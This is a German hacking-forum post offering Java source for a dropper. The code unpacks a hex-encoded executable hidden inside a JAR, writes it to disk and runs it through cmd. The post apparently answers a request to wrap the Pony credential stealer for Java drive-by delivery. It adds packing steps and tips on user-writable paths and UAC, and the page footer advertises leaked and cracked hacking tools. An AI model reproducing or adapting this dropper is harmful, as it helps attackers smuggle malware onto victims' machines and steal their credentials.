Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

[JAVA] exe in jar verstecken? wüsste keinen besseren Titel

- - - - -

  • Bitte melde dich an um zu Antworten
Keine Antworten in diesem Thema

#1
juPP

juPP

    Hacker

  • Premium Member
  • Likes
    49
  • 174 Beiträge
  • 61 Bedankt
  • 000000
  • Blackberry
  • Windows, Linux
Hi Leute,

ShopA hatte heute morgen gefragt "kann ich eig. mein pony 1.9 zu java converten? Wegen JDB..."

nein converten geht nicht aber, wir können ja uns eine jar Datei erzeugen die die Daten von unserer exe enthält und die beim ausführen auf die platte schreibt und ausführt...

Das sieht dann so aus:
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;

import javax.swing.JOptionPane;

public class Main {


public static void main(String[] args) throws IOException{

String code = "";
URL codePath = Main.class.getResource("CODE.txt");

BufferedReader in = new BufferedReader(new InputStreamReader(codePath.openStream()));

String inputLine;
while ((inputLine = in.readLine()) != null)
code += inputLine;
in.close();

byte[] fileData = Main.hexStringToByteArray(code);
// output
BufferedOutputStream bos;
try {
bos = new BufferedOutputStream(new FileOutputStream(new File("c:/YOLO.exe")));
bos.write(fileData);
bos.flush();
bos.close();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

Process p1 = Runtime.getRuntime().exec("cmd /c start C:/YOLO.exe");
}

public static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ Character.digit(s.charAt(i+1), 16));
}
return data;
}

}

Wie Funktionierts?

1.Das programm liest die Textdatei CODE.txt ein die mit in der jar liegt, im src ordner auf gleicher Ebene wie die Main-Klasse
2. Convertiert den Inhalt von CODE.txt zu einem byteArray
3. schreibt eine neue exe datei mit dem byteArray
4. Führt die exe über cmd aus...

Vorgehensweise:

Damit das ganze mit euerm Programm funktioniert müsst ihr euch vorher ein kleines Programm schreiben was eure exe als byte einliest und dann in einen hex string konvertiert. Da habt ihr dann einen ewig langen String der in etwas so aussieht:
4D5A90000300000004000000FFFF0000B800000000000000 [...] 40000000000000000

Diesen speichert ihr in die CODE.txt und erstellt euch eure jar.

Tipp:

1.Ich würde Pfade wählen die vielleicht auch mit normalen user rechten schreibbar sind also app/temp oder so
2. Ich hab kein plan wie es sich in Verbindung mit UAC verhält.. nicht getestet


Vielleicht hilfts ja dem einen oder andern


LG
juPP
  • nginx, _)_ und Shopping Queen gefällt das
... hier könnte Ihre Werbung stehen ;)



  Thema Forum Themenstarter Statistik Letzter Beitrag

Dieses Thema wurde von 27 Mitglied(ern) gelesen


    <cerrno>, Alexxy, Blackfox, Blackfox, Bot4ng, claudio0x, confick.ini, exsize, Interimere, INTERSPACECOWBOY, Jok3r, Julius K9, juPP, kingkev0, kiwitone, lynx, Mister1337, mydarkest, peppi200, r3vO, S4lent, sponge951, superuser123, xK1nqL1k3x, xrahitel, xtrx, Zerobyte
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.